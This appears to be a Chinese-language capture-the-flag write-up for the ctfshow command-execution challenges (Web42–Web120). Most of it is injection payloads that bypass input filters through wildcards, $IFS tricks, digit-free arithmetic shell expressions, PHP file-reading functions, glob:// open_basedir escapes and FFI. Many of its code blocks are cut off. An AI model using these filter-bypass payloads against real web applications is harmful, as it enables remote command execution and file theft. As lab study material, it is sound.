ctfshow
Web42
<?php |
/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
这是本题的核心
就是因为后面会让所有的输入的全部被弃掉
所以我们要阻止后面的发生
所以我们可以使用||
所以
ls||
cat flag.php||即可
Web43
<?php |
多过滤了一个cat
使用tac即可
Web44
<?php |
过滤了flag
通配符绕过即可
?c=tac ????.???|| |
Web45
<?php |
过滤了空格
可以考虑$IFS绕过
?c=tac%09fla*.php|| |
Web46
<?php |
增加过滤了$、*和数字,没什么太大影响
?c=tac%09????.???|| |
Web47
<?php |
过滤了几个读取flag的函数
直接继续使用上一题的payload即可
?c=tac%09????.???|| |
Web48
<?php |
继续过滤了更多的读取函数
但是还是没有过滤tac,可以继续使用
?c=tac%09????.???|| |
Web49
<?php |
本题过滤了%
但是传参之后先进行url编码再进行判定,所以%09依旧可以使用
?c=tac%09????.???|| |
Web50
<?php |
依旧是没过滤tac
但是过滤了%09
所以要尝试换一种方法绕过
?c=tac<>????.???|| |
发现没用?
原来是<>不能和?一起用,所以换一种方式
?c=tac<>fla\g.php|| |
成功!
Web51
<?php |
震惊!!!
过滤了tac,完蛋,但是没完全完蛋
?c=nl<>fla\g.php|| |
嘻嘻
Web52
<?php |
?少过滤了一个$ ?
哦,原来是过滤了<>
那就可以使用{$IFS}绕过了
?c=nl${IFS}fla\g.php|| |
不对?
尝试看看文件
?c=ls${IFS}/|| |

所以说文件都换了是吧
好好好
?c=nl${IFS}/flag|| |
拿到flag
Web53
<?php |
过滤了好多欸,但是跟上一题怎么感觉差不多啊
对了,它没有null那种东西了,所以我们直接
?c=nl${IFS}????.??? |
拿下!!!
Web54
<?php |
过滤的好啊,好啊
这个时候就需要看看有没有其它读取文件可以用的函数了
?c=uniq${IFS}????.??? |
uniq和grep,使用方法如上
Web55
<?php |
我没有技,怎么炫…
过了所有字母和一些符号
那我咋玩
所以我们看看大佬的解题
方法一:
没有过滤数字,所以想一想查看文件的命令有没有数字开头的
匹配到/bin目录下的命令cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
?c=/???/????64 ????.??? |
方法二:
bzip2是linux下面的压缩文件的命令 关于bzip2命令的具体介绍
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
payload:
?c=/???/???/????2 ????.??? |
方法三:
无数字webshell脚本
import requests |
Web56
<?php |
又过滤了数字
天要亡我啊!!
但是回看上一道题
这个脚本好像还能用
import requests |
改一个网址就行
Web57
<?php |
过滤了字母、数字、分号和两个通配符
取反
首先看等号左边(100) 的二进制表示为: 0110 0100 按位取反的意思就是每一位取反,0变1,1变0 |
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $(($(()))) #0是-1
$(($(($(())))$(($(()))))) #$((-1-1))即$$((-2))是-2
echo $((-37)) #-37是36
$(($((~$(())))$((~$(())))))==-2 |
拆开看
$(( $((~$(()))) $((~$(()))) )) |
然后取反就是36
playload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())) |
好神奇,这个是看大佬的wp写的,所以其实有点看不懂,再看看
Web58-65
这些题一模一样
都是
<?php |
c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); |
或者
c=show_source('flag.php'); |
两者都是读取文件
小本本记下来
后者主要是要猜测目标文件,前者不需要
Web66
<?php |
多过滤了一个show_source
所以我们尝试一下以下两种方式
POST:c=print_r(scandir("/")); |
同样是两种读取的方式
Web67
<?php |
这道题尝试之后发现print_r不能用了,所以可以尝试一下两种方法
c=var_dump(scandir('/')); |
Web68
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19 |
???????????????
也就是说没源码看了是吧,好好好,但是大概率是因为把highlight_file ban了
所以可以使用一下以下方法
c=var_dump(scandir('/')); |
Web69-70
还是和上一题一样的,warning,笑死
所以尝试一下上一题payload,发现过滤了var_dump
所以可以尝试以下方法
c=var_export(scandir('/')); |
var_export函数使用方式和var_dump差不多
Web71
一定要去看看提示,直接写会看蒙掉的
<?php |
重点放在两个不认识的函数上
ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
方法一:
c=var_export(scandir('/')); |
发现输出的一大堆问号,原来是源码中用函数将缓冲区的所有字符全部替换为问号,那么可以用exit()/die()提前结束,这样就不会将字符替换为问号
c=var_export(scandir('/'));exit(); |
方法二:
import requests |
Web72
<?php |
存在open_basedir,利用glob伪协议在筛选目录是不受open_basedir制约
c= |
发现

之后我们需要绕过open_dir和disable_function
c=?><?php |
在bp中抓包上传得到flag
Web73-74
c=$a=new DirectoryIterator("glob:///*"); |
glob:

在此处是作为一个读取协议存在
而/*则代表了遍历文件
方法一:
c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt |
即先通过前者找到所需文件
之后再通过include读取文件
方法二:
c=?><?php //前面的?>用来闭合<? |
使用数组遍历的方式遍历所有文件
Web75-76
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f- |
所以来扫描吧
c= |
sql语句来绕过open_basedir和disable_function
Web77
- 命令执行最后一题,php7.4,基本上命令执行就告一段落了
php7.4有什么玄机吗?
FFI:
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术
所以我们可以通过system函数将flag写进一个新的文本中,然后访问文本
方法一:
//首先是熟悉的确定flag位置和名称 |
方法二:
c= |
Web118
事先了解一下:
Linux 基础知识:Bash的内置变量
常见 Bash 内置变量介绍
root@baba:~# echo ${PWD} |
所以本题可以通过该方式绕过
code=${PATH:~A}${PWD:~A} ????.??? |
${PATH:~A}即为n,因为${PATH}通常为bin
${PWD:~A}即为l,因为${PWD}应为var/www/html
所以构成了
nl ????.??? |
可以用来读取文件
Web119-120
多过滤了一个path
方法一:
构造/bin/base64 flag.php
只需要构造/和4即可,其他均可用通配符替代
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。
所以我们只需要${PWD::${SHLVL}},结果就是/
4的问题,可以用$ $



































